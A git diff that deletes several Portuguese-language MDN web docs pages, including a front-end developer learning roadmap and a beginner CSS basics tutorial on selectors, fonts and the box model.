- Se o seu navegador suporta contadores, mude sua folha de estilo para identificar o cabeçalho com letras maiúsculas em parênteses como isto:</p>
-
- <table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(A) Os oceanos</p>
-
- <p><strong>. . .</strong></p>
-
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(B) Parágrafos numerados</p>
-
- <p><strong>. . .</strong></p>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Listas" title="Talk:pt/CSS/Como_começar/Listas">Discussão</a>.</p>
-
-<p>Quando seu navegador exibe seu documento de amostra, cria espaços ao redor dos elementos quando eles são exibidos na página.</p>
-
-<p>A próxima página descreve como você pode usar as CSS para trabalhar com formas subjacentes de elementos: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Caixas" title="pt/CSS/Como_começar/Caixas">Caixas</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Conteúdo", "CSS:Como começar:Caixas") }}</p>
diff --git a/files/pt-pt/learn/front-end_web_developer/index.html b/files/pt-pt/learn/front-end_web_developer/index.html
deleted file mode 100644
index 08d3626f6a..0000000000
--- a/files/pt-pt/learn/front-end_web_developer/index.html
+++ /dev/null
@@ -1,189 +0,0 @@
----
-title: Front-end web developer
-slug: Learn/Front-end_web_developer
-translation_of: Learn/Front-end_web_developer
----
-<p>{{learnsidebar}}</p>
-
-<p>Bem-vindos ao roteiro de aprendizado em desenvolvimento web front-end!</p>
-
-<p>Aqui disponibilizamos tudo o que precisas para te tornares um desenvolvedor Web front-end. Simplesmente trabalha cada secção deste curso, aprendendo novas habilidades (ou melhorando as que já tens) á medida que avanças. <span>Cada secção inclui exercicios e avaliações para testar a tua compreensão antes de avançares para proxima.</span></p>
-
-<h2 id="Temas_abrangidos">Temas abrangidos</h2>
-
-<p>Os temas abrangidos são:</p>
-
-<ul>
- <li>Preparação básica e aprender como estudar</li>
- <li>Normas da Web e boas práticas (como por exemplo acessibilidade e compatibilidade entre navegadores)</li>
- <li>HTML, a linguaguem de marcacao que proporciona a estrutura do conteudo web e seu significado</li>
- <li>CSS, a linguaguem usada para estilizar as paginas web</li>
- <li>JavaScript, a linguagem de definicoes usada para criar interacoes na web</li>
- <li>Ferramentas que sao usadas para facilitar o desenvolvimento web moderno do lado do cliente</li>
-</ul>
-
-<p>Sinta-se livre para trabalhar nas seccoes por ordem, mas cada uma e tambem independente. Por exemplo, se voce ja domina HTML, podes seguir para a seccao de CSS.</p>
-
-<h2 id="Pre_requisitos">Pre requisitos</h2>
-
-<p>Voce nao precisa de nenhum conhecimento anterior para este curso. Tudo que precisas e de um computador que possa operar um navegador moderno, conexao a internet, e boa vontade para aprender.</p>
-
-<p>Se nao estiveres seguro de que desenvolvimento web front-end e para si, e/ou voce quer uma introducao mais gentil antes de iniciar um curso mais longo e completo, trabalhe no nosso modulo <a href="/en-US/docs/Learn/Getting_started_with_the_web">Iniciando com a web</a> (ingles) primeiramente.</p>
-
-<h2 id="Obtendo_ajuda">Obtendo ajuda</h2>
-
-<p>Nos tentamos tornar o aprendizado de desenvolvimento web front-end mais confortavel possivel, mas provavelmente voce ainda fique bloqueado porque nao percebe alguma coisa, ou algum codigo ainda nao esteje funcionando.</p>
-
-<p>Nao entre em panico. Todos nos bloqueamos, quando somos iniciantes ou desenvolvedores web profissionais. O artigo <a href="/en-US/docs/Learn/Learning_and_getting_help">Estudando e obtendo ajuda</a> (ingles) e proporcionado a ti com uma serie de dicas para encontrares informacoes e auto ajudas. Se ainda assim continuas bloqueado, sinta se avontade para postar uma pergunta no nosso <a href="https://discourse.mozilla.org/c/mdn/learn/">Forum discussao</a> (ingles).</p>
-
-<p>Vamos iniciar. Boa sorte!</p>
-
-<h2 id="O_roteiro_de_aprendizagem">O roteiro de aprendizagem</h2>
-
-<h3 id="Iniciando">Iniciando</h3>
-
-<p>Tempo de duracao: 1.5–2 horas</p>
-
-<h4 id="Pre_requisitos_2">Pre requisitos</h4>
-
-<p>Nada mais, excepto um basico dominio computacional.</p>
-
-<h4 id="Como_saberei_que_estou_pronto_para_continuar">Como saberei que estou pronto para continuar?</h4>
-
-<p>Nao ha avaliacoes nesta seccao do curso. Mas certifique se de nao ignora-la. E importante que voce esteja preparado para trabalhar com os proximos exercicios do curso.</p>
-
-<h4 id="Guias">Guias</h4>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Instalando softwares basicos</a> (ingles)— configurando as ferramentas basicas (15 min leitura)</li>
- <li><a href="/en-US/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">Segundo plano da web e seus principios</a> (ingles)—(45 min leitura)</li>
- <li><a href="/en-US/docs/Learn/Learning_and_getting_help">Aprendendo e obtendo ajuda</a> (ingles)—(45 min leitura)</li>
-</ul>
-
-<h3 id="Semantica_e_estruturas_com_HTML">Semantica e estruturas com HTML</h3>
-
-<p>Tempo de duracao: 35–50 horas</p>
-
-<h4 id="Pre_requisitos_3">Pre requisitos</h4>
-
-<p>Nada mais, excepto um basico dominio computacional e um basico ambiente de desenvolvimento web.</p>
-
-<h4 id="Como_saberei_que_estou_pronto_para_continuar_2">Como saberei que estou pronto para continuar?</h4>
-
-<p>As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.</p>
-
-<h4 id="Modulos">Modulos</h4>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introducao ao HTML</a> (ingles)—(15–20 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia and incorporacao</a> (ingles)—(15–20 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/HTML/Tables">tabelas com HTML</a> (ingles)—(5–10 horas leitura/exercicios)</li>
-</ul>
-
-<h3 id="Estilizando_e_organizando_com_CSS">Estilizando e organizando com CSS</h3>
-
-<p>Tempo de duracao: 90–120 horas</p>
-
-<h4 id="Pre_requisitos_4">Pre requisitos</h4>
-
-<p>E recomendavel que voce tenha um conhecimento basico sobre HTML antes de comecar a aprender CSS. Deves no minimo estudar primeiramente a <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introducao ao HTML</a> (ingles).</p>
-
-<h4 id="Como_saberei_que_estou_pronto_para_continuar_3">Como saberei que estou pronto para continuar?</h4>
-
-<p>As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.</p>
-
-<h4 id="Modulos_2">Modulos</h4>
-
-<ul>
- <li><a href="/en-US/docs/Learn/CSS/First_steps">CSS primeiros passos</a> (ingles)–(10–15 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/CSS/Building_blocks">CSS construindo blocos</a> (ingles)–(35–45 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/CSS/Styling_text">Estilizando textos</a> (ingles)–(15–20 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/CSS/CSS_layout">CSS organizacao</a> (ingles)–(30–40 horas leitura/exercicios)</li>
-</ul>
-
-<h4 id="Fontes_extras">Fontes extras</h4>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/Layout_cookbook">CSS organizacao cookbook</a> (ingles)</li>
-</ul>
-
-<h3 id="Interacao_com_JavaScript">Interacao com JavaScript</h3>
-
-<p>Tempo de duracao: 135–185 horas</p>
-
-<h4 id="Pre_requisitos_5">Pre requisitos</h4>
-
-<p>E recomendavel que voce tenha um conhecimento basico sobre HTML antes de comecar a aprender JavaScript. Deves no minimo estudar primeiramente a <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introducao ao HTML</a> (ingles).</p>
-
-<h4 id="Como_saberei_que_estou_pronto_para_continuar_4">Como saberei que estou pronto para continuar?</h4>
-
-<p>As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.</p>
-
-<h4 id="Modulos_3">Modulos</h4>
-
-<ul>
- <li><a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript primeiros passos</a> (ingles)–(30–40 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript construindo blocos</a> (ingles)–(25–35 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/JavaScript/Objects">Introducao aos objectos JavaScript</a> (ingles)–(25–35 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs</a> (30–40 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous">Asynchronous JavaScript</a> (25–35 horas leitura/exercicios)</li>
-</ul>
-
-<h3 id="Formularios_web_—_Trabalhando_com_dados_de_usuario">Formularios web — Trabalhando com dados de usuario</h3>
-
-<p>Tempo de duracao: 40–50 horas</p>
-
-<h4 id="Pre_requisitos_6">Pre requisitos</h4>
-
-<p>Formularios requerem conhecimento sobre HTML, CSS e JavaScript. A complexidade em trabalhar com formularios fazem deste um topico dedicado.</p>
-
-<h4 id="Como_saberei_que_estou_pronto_para_continuar_5">Como saberei que estou pronto para continuar?</h4>
-
-<p>As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.</p>
-
-<h4 id="Modulos_4">Modulos</h4>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Forms">Formularios web </a>(ingles)–(40–50 hours)</li>
-</ul>
-
-<h3 id="Fazendo_o_trabalho_de_web_para_todos">Fazendo o trabalho de web para todos</h3>
-
-<p>Tempo de duracao: 60–75 horas</p>
-
-<h4 id="Pre_requisitos_7">Pre requisitos</h4>
-
-<p>Seria uma otima ideia conhecer sobre HTML, CSS e JavaScript antes de trabalhar nesta seccao. Inclui outras tecnicas e boas praticas em contacto com multiplas tecnologias.</p>
-
-<h4 id="Como_saberei_que_estou_pronto_para_continuar_6">Como saberei que estou pronto para continuar?</h4>
-
-<p>As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.</p>
-
-<h4 id="Modulos_5">Modulos</h4>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Testando a Compatibilidade entre navegadores</a> (ingles)–(25–30 horas leitura/exercicios)</li>
- <li><a href="/en-US/docs/Learn/Accessibility">Acessibilidade</a> (ingles)–(20–25 horas leitura/exercicios)</li>
-</ul>
-
-<h3 id="Ferramentas_modernas">Ferramentas modernas</h3>
-
-<p>Tempo de duracao: 55–90 horas</p>
-
-<h4 id="Pre_requisitos_8">Pre requisitos</h4>
-
-<p>Seria uma otima ideia conhecer sobre HTML, CSS e JavaScript antes de trabalhar nesta seccao, tal como ferramentas abordadas que trabalham em conjunto com muitas destas tecnologias.</p>
-
-<h4 id="Como_saberei_que_estou_pronto_para_continuar_7">Como saberei que estou pronto para continuar?</h4>
-
-<p>Nao ha avaliacoes especificas nos artigos definidos neste modulo. Os tutoriais de estudo de caso no final do segundo e terceiro modulo preparar-te-ao para dominar o essencial sobre as ferramentas modernas.</p>
-
-<h4 id="Modulos_6">Modulos</h4>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/GitHub">Git i GitHub</a> (ingles)–(5 horas leitura)</li>
- <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools">Compreendendo as ferramentas para desenvolvimento web client-side</a> (ingles)–(20–25 horas leitura)</li>
- <li>
- <p><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">Compreendendo as estruturas client-side JavaScript</a> (ingles)–(30-60 horas leitura/exercicios)</p>
- </li>
-</ul>
diff --git a/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html
deleted file mode 100644
index 066748249a..0000000000
--- a/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html
+++ /dev/null
@@ -1,294 +0,0 @@
----
-title: CSS - Essencial
-slug: Learn/Getting_started_with_the_web/CSS_basics
-tags:
- - Aprender
- - Beginner
- - CSS
- - CodingScripting
- - Estilo
- - I10n:priority
- - Web
-translation_of: Learn/Getting_started_with_the_web/CSS_basics
-original_slug: Learn/Comecar_com_a_Web/CSS_basico
----
-<div>{{LearnSidebar}}
-<div>{{PreviousMenuNext("Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web")}}</div>
-</div>
-
-<div class="summary">
-<p>CSS (Folhas de Estilo em Cascata) é o código que se utiliza para estilizar a sua página da Web. <em>CSS - Elementar</em> guia-o através do que precisa para começar. Vamos responder a perguntas deste género: Como é que eu coloco o meu texto a preto ou vermelho? Como é que eu faço para que o meu conteúdo apareça neste lugar do ecrã? Como é que eu decoro a minha página da Web, com cores e imagens de fundo?</p>
-</div>
-
-<h2 id="Então_o_que_realmente_é_o_CSS">Então, o que realmente é o CSS?</h2>
-
-<p>Tal como o HTML, o CSS não é bem uma linguagem de programação; também não é uma linguagem de demarcação. É uma <em>linguagem de folha de estilos</em>. Isto significa que permite aplicar estilos seletivamente aos elementos nos documentos HTML. Por exemplo, para selecionar <strong>todos</strong> os elementos do <strong>parágrafo</strong> numa página HTML e transformar o texto dentro deles em vermelho, iria escrever este CSS:</p>
-
-<pre class="brush: css notranslate">p {
- color: red;
-}</pre>
-
-<p>Vamos tentar: copie e cole estas três linhas de CSS num novo ficheiro do editor de texto, depois grave com o nome <code>style.css</code> na diretoria <code>styles</code>.</p>
-
-<p>Mas ainda é preciso aplicar este CSS ao seu documento HTML. Se não, os estilos CSS não vão afetar a forma como o seu navegador apresenta o documento HTML. (Se não tem seguido o nosso projeto, leia <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a> e <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - Essencial</a> para saber o que fazer primeiro)</p>
-
-<ol>
- <li>Abra o seu ficheiro <code>index.html</code> e cole a linha seguinte no cabeçalho (isto é, entre as marcas <code>&lt;head&gt;</code> e <code>&lt;/head&gt;</code>):
-
- <pre class="brush: html notranslate">&lt;link href="styles/style.css" rel="stylesheet" type="text/css"&gt;</pre>
- </li>
- <li>Guarde o ficheiro <code>index.html</code> e aceda-lhe no seu navegador. Deverá ver algo deste género:</li>
-</ol>
-
-<p><img alt="A mozilla logo and some paragraphs. The paragraph text has been styled red by our css." src="https://mdn.mozillademos.org/files/9435/website-screenshot-styled.png" style="display: block; height: 832px; margin: 0px auto; width: 711px;">O texto dos seus parágrafos ficou vermelho. Parabéns! Acabou de escrever com sucesso o seu primeiro CSS.</p>
-
-<h3 id="Anatomia_de_um_conjunto_de_regras_de_CSS">Anatomia de um conjunto de regras de CSS</h3>
-
-<p>Vejamos o CSS acima com um pouco mais de detalhe:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9461/css-declaration-small.png" style="display: block; height: 480px; margin: 0px auto; width: 850px;"></p>
-
-<p>A esta estrutura dá-se o nome <strong>conjunto de regras </strong>(geralmente, "regra" para abreviar). Repare nos nomes de cada parte:</p>
-
-<dl>
- <dt>Seletor</dt>
- <dd>Neste caso, é o nome do elemento HTML, no início do conjunto de regras. Seleciona o(s) elemento(s) a que vai ser aplicado o estilo (neste caso, todos os elementos <code>p</code>). Para dar estilo a outro elemento, muda-se o seletor.</dd>
- <dt>Declaração</dt>
- <dd>Trata-se de uma única regra, como  <code>color: red;</code>, que especifica as <strong>propriedades </strong>que se pretendem modificar no elemento.</dd>
- <dt>Propriedades</dt>
- <dd>São as formas como se pode estilizar o elemento HTML (Neste caso, <code>color</code> é uma propriedade dos elementos {{htmlelement("p")}}). Em CSS, pode escolher que propriedades pretende modificar na regra.</dd>
- <dt>Valor da propriedade</dt>
- <dd>À direita da propriedade, depois dos dois pontos (<code>:</code>), temos o <strong>valor da propriedade</strong>, que escolhe uma das possíveis aparências que a propriedade pode indicar (há muitos mais valores para <code>color</code> além de <code>red</code>).</dd>
-</dl>
-
-<p>Repare em outros aspetos importantes da sintaxe:</p>
-
-<ul>
- <li>Cada conjunto de regras (além do seletor) tem que estar entre chavetas (<code>{}</code>).</li>
- <li>Dentro de cada declaração, utilize dois pontos (<code>:</code>) para separar a propriedade dos seus valores.</li>
- <li>Dentro de cada conjunto de regras, utilize ponto e vírgula (<code>;</code>) para separar cada declaração da próxima.</li>
-</ul>
-
-<p>Para modificar múltiplas propriedades, basta separá-las com o ponto e vírgula, assim:</p>
-
-<pre class="brush: css notranslate">p {
- color: red;
- width: 500px;
- border: 1px solid black;
-}</pre>
-
-<h3 id="Selecionar_múltiplos_elementos">Selecionar múltiplos elementos</h3>
-
-<p>Também pode selecionar vários elementos e aplicar um conjunto de regras único para todos eles. Inclua múltiplos seletores separados por vírgulas. Por exemplo:</p>
-
-<pre class="brush: css notranslate">p, li, h1 {
- color: red;
-}</pre>
-
-<h3 id="Diferentes_tipos_de_seletor">Diferentes tipos de seletor</h3>
-
-<p>Há muitos tipos diferentes de seletor. Por cima, apenas olhámos para <strong>seletores de elementos</strong>, que selecionam todos os elementos de determinado tipo no documento HTML a que são aplicados. Mas podemos fazer seleções mais específicas. Em baixo, estão alguns dos tipos mais comuns de seletores:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome do seletor</th>
- <th scope="col">O que é que este seleciona</th>
- <th scope="col">Exemplo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Seletor de elemento (também chamado seletor de etiqueta ou tipo)</td>
- <td>Todos os elementos HTML do tipo especificado.</td>
- <td><code>p</code><br>
- Seleciona todos os elementos <code>&lt;p&gt;</code></td>
- </tr>
- <tr>
- <td>Seletor de ID </td>
- <td>O elemento da página com o ID especificado (numa página HTML, só pode haver um elemento para cada ID e vice-versa).</td>
- <td><code>#my-id</code><br>
- Seleciona <code>&lt;p id="my-id"&gt;</code> ou <code>&lt;a id="my-id"&gt;</code> (não devem existir ambos na mesma página)</td>
- </tr>
- <tr>
- <td>Seletor de classe</td>
- <td>Seleciona o(s) elementos(s) da página com a classe especificada (é possível haver elementos diferentes com a mesma classe).</td>
- <td><code>.my-class</code><br>
- Seleciona <code>&lt;p class="my-class"&gt;</code> e também <code>&lt;a class="my-class"&gt;</code></td>
- </tr>
- <tr>
- <td>Seletor de atributo</td>
- <td>Seleciona o(s) elementos(s) que tenham o atributo dado.</td>
- <td><code>img[src]</code><br>
- Seleciona <code>&lt;img src="myimage.png"&gt;</code> mas não seleciona <code>&lt;img&gt;</code></td>
- </tr>
- <tr>
- <td>Seletor de Pseudo-classe</td>
- <td>O(s) elemento(s) especificado(s), mas só quando estiverem no estado indicado. Ex: quando se tem cursor do rato sobre eles.</td>
- <td><code>a:hover</code><br>
- Seleciona <code>&lt;a&gt;</code>, mas só quando o cursor está sobre o <em>link</em>.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Existem muitos mais seletores para explorar, e pode encontrar uma lista mais detalhada no nosso <a href="/pt-PT/docs/Learn/CSS/Introduction_to_CSS/Seletores">Guia de seletores</a>.</p>
-
-<h2 id="Fonte_e_texto">Fonte e texto</h2>
-
-<p>Agora que explorámos as bases do CSS, vamos acrescentar regras e informação ao nosso ficheiro <code>style.css</code> para que o exemplo tenha boa apresentação.</p>
-
-<ol>
- <li>Primeiro, volte atrás e encontre o <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site#Tipo_de_letra">output de Google Fonts</a> que guardou num lugar seguro. Acrescente o elemento {{htmlelement("link")}} no cabeçalho do <code>index.html</code> (entre etiquetas <code>&lt;head&gt;</code> e <code>&lt;/head&gt;</code>).
-
- <pre class="brush: html notranslate">&lt;link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'&gt;</pre>
- </li>
- <li>De seguida, apague a regra que tinha no ficheiro <code>style.css</code>. Foi um bom teste, mas a cor vermelha não ficou muito bem.</li>
- <li>Insira as linhas que se seguem, substituindo a linha de substituição pela linha <code>font-family</code> que obteve no site Google Fonts. (<code>font-family</code> indica o nome do tipo de letra). Esta regra estabelece um tamanho e tipo de letra global, em toda a página, já que o elemento <code>&lt;html&gt;</code> é o elemento raiz e todos os elementos aninhados herdam <code>font-size</code> e <code>font-family</code>:
- <pre class="brush: css notranslate">html {
- font-size: 10px; /* px significa 'píxeis': o tamnho da letra base é duma altura de 10 píxeis */
- font-family: placeholder: aqui deve aparecero resto do output do Google fonts
-}</pre>
-
- <div class="note">
- <p><strong>Nota</strong>: num documento CSS, tudo o que esteja entre <code>/*</code> e <code>*/</code> é um <strong>comentário de CSS</strong>, que o navegador ignora quando processa o código. Os comentários servem para escrever notas úteis sobre o que está a fazer.</p>
- </div>
- </li>
- <li>Agora estabelecemos o tamanho da letra para elementos textuais no corpo do HTML: ({{htmlelement("h1")}}, {{htmlelement("li")}}, e {{htmlelement("p")}}). Também vamos centrar o texto dos nossos títulos e especificar altura da linha de texto e espaçamento entre letras no corpo para o tornar mais legível:
- <pre class="brush: css notranslate">h1 {
-  font-size: 60px;
-  text-align: center;
-}
-
-p, li {
-  font-size: 16px;
-  line-height: 2;
-  letter-spacing: 1px;
-}</pre>
- </li>
-</ol>
-
-<p>Pode ajustar os valores de <code>px</code> conforme achar que fica melhor, mas em geral, o <em>design </em>deve ter esta aparência:</p>
-
-<p><img alt="a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered" src="https://mdn.mozillademos.org/files/9447/website-screenshot-font-small.png" style="display: block; height: 1020px; margin: 0px auto; width: 921px;"></p>
-
-<h2 id="Caixas_caixas_é_tudo_sobre_caixas">Caixas, caixas, é tudo sobre caixas</h2>
-
-<p>Quando escreve CSS, poderá notar que a maior parte do esforço é referente a caixas — configurar o seu tamanho, cor, posição, etc. Pode pensar na maioria dos elementos de HTML da sua página como caixas colocadas umas sobre a outras.</p>
-
-<p><img alt="a big stack of boxes or crates sat on top of one another" src="https://mdn.mozillademos.org/files/9441/boxes.jpg" style="display: block; height: 463px; margin: 0px auto; width: 640px;"></p>
-
-<p>Sem surpresa, a disposição de elementos em CSS assenta principalmente num <em>modelo de caixa</em><em>. </em>Cada um dos blocos que ocupa espaço na sua página tem propriedades como:</p>
-
-<ul>
- <li><code>padding</code> (preenchimento) — espaço em volta do elemento (ex: em volta do texto de um parágrafo)</li>
- <li><code>border</code> (contorno) — a linha que fica em torno do preenchimento</li>
- <li><code>margin</code> (margem) — espaço exterior em torno do elemento</li>
-</ul>
-
-<p><img alt="three boxes sat inside one another. From outside to in they are labelled margin, border and padding" src="https://mdn.mozillademos.org/files/9443/box-model.png" style="display: block; height: 450px; margin: 0px auto; width: 574px;"></p>
-
-<p>Nesta secção também vamos usar:</p>
-
-<ul>
- <li><code>width</code> — largura do elemento</li>
- <li><code>background-color</code> — cor de fundo que fica atrás do conteúdo e preenchimento do elemento</li>
- <li><code>color</code> — a cor do conteúdo (geralmente o conteúdo é texto)</li>
- <li><code>text-shadow</code> — sombreado do texto de um elemento</li>
- <li><code>display</code><span> </span>—<span> modo de apresentação do elemento (não se preocupe ainda com detalhes)</span></li>
-</ul>
-
-<p>Portanto, vamos começar e acrescentar algum CSS à nossa página! Acrescente as novas regras no fim do ficheiro e não tenha medo de mudar os valores para ver como fica.</p>
-
-<h3 id="Alterar_a_cor_da_página">Alterar a cor da página</h3>
-
-<pre class="brush: css notranslate">html {
- background-color: #00539F;
-}</pre>
-
-<p>Esta regra estabelece uma cor de fundo na página inteira. Mude o código de cor para aquele que escolheu quando <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site#Cor_do_tema">planeou o seu site</a>.</p>
-
-<h3 id="Ordenar_o_corpo">Ordenar o corpo</h3>
-
-<pre class="brush: css notranslate">body {
- width: 600px;
- margin: 0 auto;
- background-color: #FF9500;
- padding: 0 20px 20px 20px;
- border: 5px solid black;
-}</pre>
-
-<p>Agora o elemento {{htmlelement("body")}}. Há várias declarações, então vamos ver uma de cada vez:</p>
-
-<ul>
- <li><code>width: 600px;</code> — Faz com que a largura seja sempre 600 píxeis.</li>
- <li><code>margin: 0 auto;</code> — Quando se dá dois valores a <code>margin</code> ou <code>padding</code>, o primeiro afeta o espaço por cima <strong>e</strong> por baixo do elemento (neste caso, <code>0</code>), e o segundo o espaço à esquerda <strong>e</strong> à direita (<code>auto</code> é um valor especial que divide o espaço existente de forma igual entre a esquerda e a direita). Também pode utilizar um, três ou quatro valores, conforme a documentação da <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/margin#Values">sintaxe de <em>margin</em></a>.</li>
- <li><code>background-color: #FF9500;</code> — como já vimos, estabelece a cor de fundo. Esta é uma tonalidade vermelho alaranjado para o corpo, em vez do azul escuro do elemento {{htmlelement("html")}}, mas esteja à vontade para experimentar outras cores.</li>
- <li><code>padding: 0 20px 20px 20px;</code> — temos quatro valores nesta propriedade, para deixar bastante espaço em volta do conteúdo. Desta vez, fazemos com que não haja preenchimento por cima do elemento e 20 píxeis à esquerda, à direita e por baixo. Os valores estabelecem, por esta ordem, o preenchimento por cima, à direita, por baixo e à esquerda. Tal como a <code>margin</code>, pode usar um, dois ou três valores, conforme a documentação da <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/padding#Syntax">sintaxe de <em>padding</em></a>.</li>
- <li><code>border: 5px solid black;</code> — simplesmente, cria um contorno de todos os lados do elemento, com cor preta, a traço cheio (contínuo) e espessura de 5 píxeis.</li>
-</ul>
-
-<h3 id="Posicionar_e_estilizar_o_título_da_nossa_página_principal">Posicionar e estilizar o título da nossa página principal</h3>
-
-<pre class="brush: css notranslate">h1 {
- margin: 0;
- padding: 20px 0;
- color: #00539F;
- text-shadow: 3px 3px 1px black;
-}</pre>
-
-<p>Deve ter notado que há espaço em branco horrível no topo do conteúdo da página. Isto acontece porque o navegador aplica <strong>estilo por omissão </strong>ao elemento {{htmlelement("h1")}} (entre outros), mesmo que não se tenha aplicado qualquer CSS! Embora isso possa parecer má ideia, na prática até uma página sem folha de estilos tem que ter alguma legibilidade. Para nos livrarmos deste espaço, colocamos <code>margin: 0;</code>.</p>
-
-<p>De seguida, colocámos o preenchimento por cima e por baixo a 20 píxeis, e demos ao texto a mesma cor que a cor de fundo do elemento {{htmlelement("html")}}.</p>
-
-<p>Utilizámos uma propriedade interessante, <code>text-shadow</code>, que aplica sombreado ao texto de um elemento. Estes são os quatro valores da mesma:</p>
-
-<ul>
- <li>O primeiro valor em píxeisestabelece a <strong>distância </strong><strong>horizontal</strong> entre a sombra e o texto, ou seja, quanto ela se desvia para a direita. Um valor negativo desvia para a esquerda.</li>
- <li>O segundo valor em píxeis estabelece a <strong>distância vertical</strong> entre a sombra e o texto, ou quanto ela se desvia para baixo. Um valor negativo desvia para cima.</li>
- <li>O terceiro valor em píxeis é o <strong>raio de desfoque</strong> da sombra — quanto maior o valor, mais a sombra ficará esbatida.</li>
- <li>O quarto valor é a cor da sombra.</li>
-</ul>
-
-<p>Novamente, tente experimentar os valores para ver como fica!</p>
-
-<h3 id="Centrar_a_imagem">Centrar a imagem</h3>
-
-<pre class="brush: css notranslate">img {
- display: block;
- margin: 0 auto;
-}</pre>
-
-<p>Por fim, vamos centrar a imagem para ficar melhor. Utilizámos o truque de colocar <code>margin: 0 auto</code> como fizemos com o corpo, mas temos que fazer outra coisa. O elemento {{htmlelement("body")}} está ao <strong>nível de bloco</strong>, ou seja, ocupa toda a largura da página e podem ser-lhe aplicados valores de margem, e outros valores de espaçamento. Por outro lado, as imagens são elemento <strong>em linha</strong>, a que não se podem aplicar estes valores. Então, para a margem ser aplicada à imagem, temos que lhe atribuir comportamento ao nível do bloco com <code>display: block;</code>.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Estas instruções assumem que está a usar uma imagem mais pequena que a largura do corpo (600 píxeis). Se for maior, vai transbordar do corpo e ocupar espaço no resto da página. Para retificar isto, pode 1) reduzir a largura da imagem com um programa de <a href="https://pt.wikipedia.org/wiki/Editor_gráfico">edição gŕafica</a>, ou 2) reduzir a imagem com CSS utilizando a propriedade {{cssxref("width")}} no elemento <code>&lt;img&gt;</code> com um valor mais pequeno, como <code>400 px;</code>.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: não se preocupe se ainda não entende <code>display: block;</code> e a distinção entre bloco e em linha (<em>block-level/inline</em>). Irá perceber à medida que estuda o CSS com mais profundidade. Pode descobrir mais sobre os diferentes valores de <em>display</em> na <a href="/pt-PT/docs/Web/CSS/display">página de referência de display</a>.</p>
-</div>
-
-<h2 id="Conclusão">Conclusão</h2>
-
-<p>Se seguiu as instruções nesta página, a sua página deve ter este aspeto (e pode ver <a href="http://mdn.github.io/beginner-html-site-styled/">a nossa versão aqui</a>):</p>
-
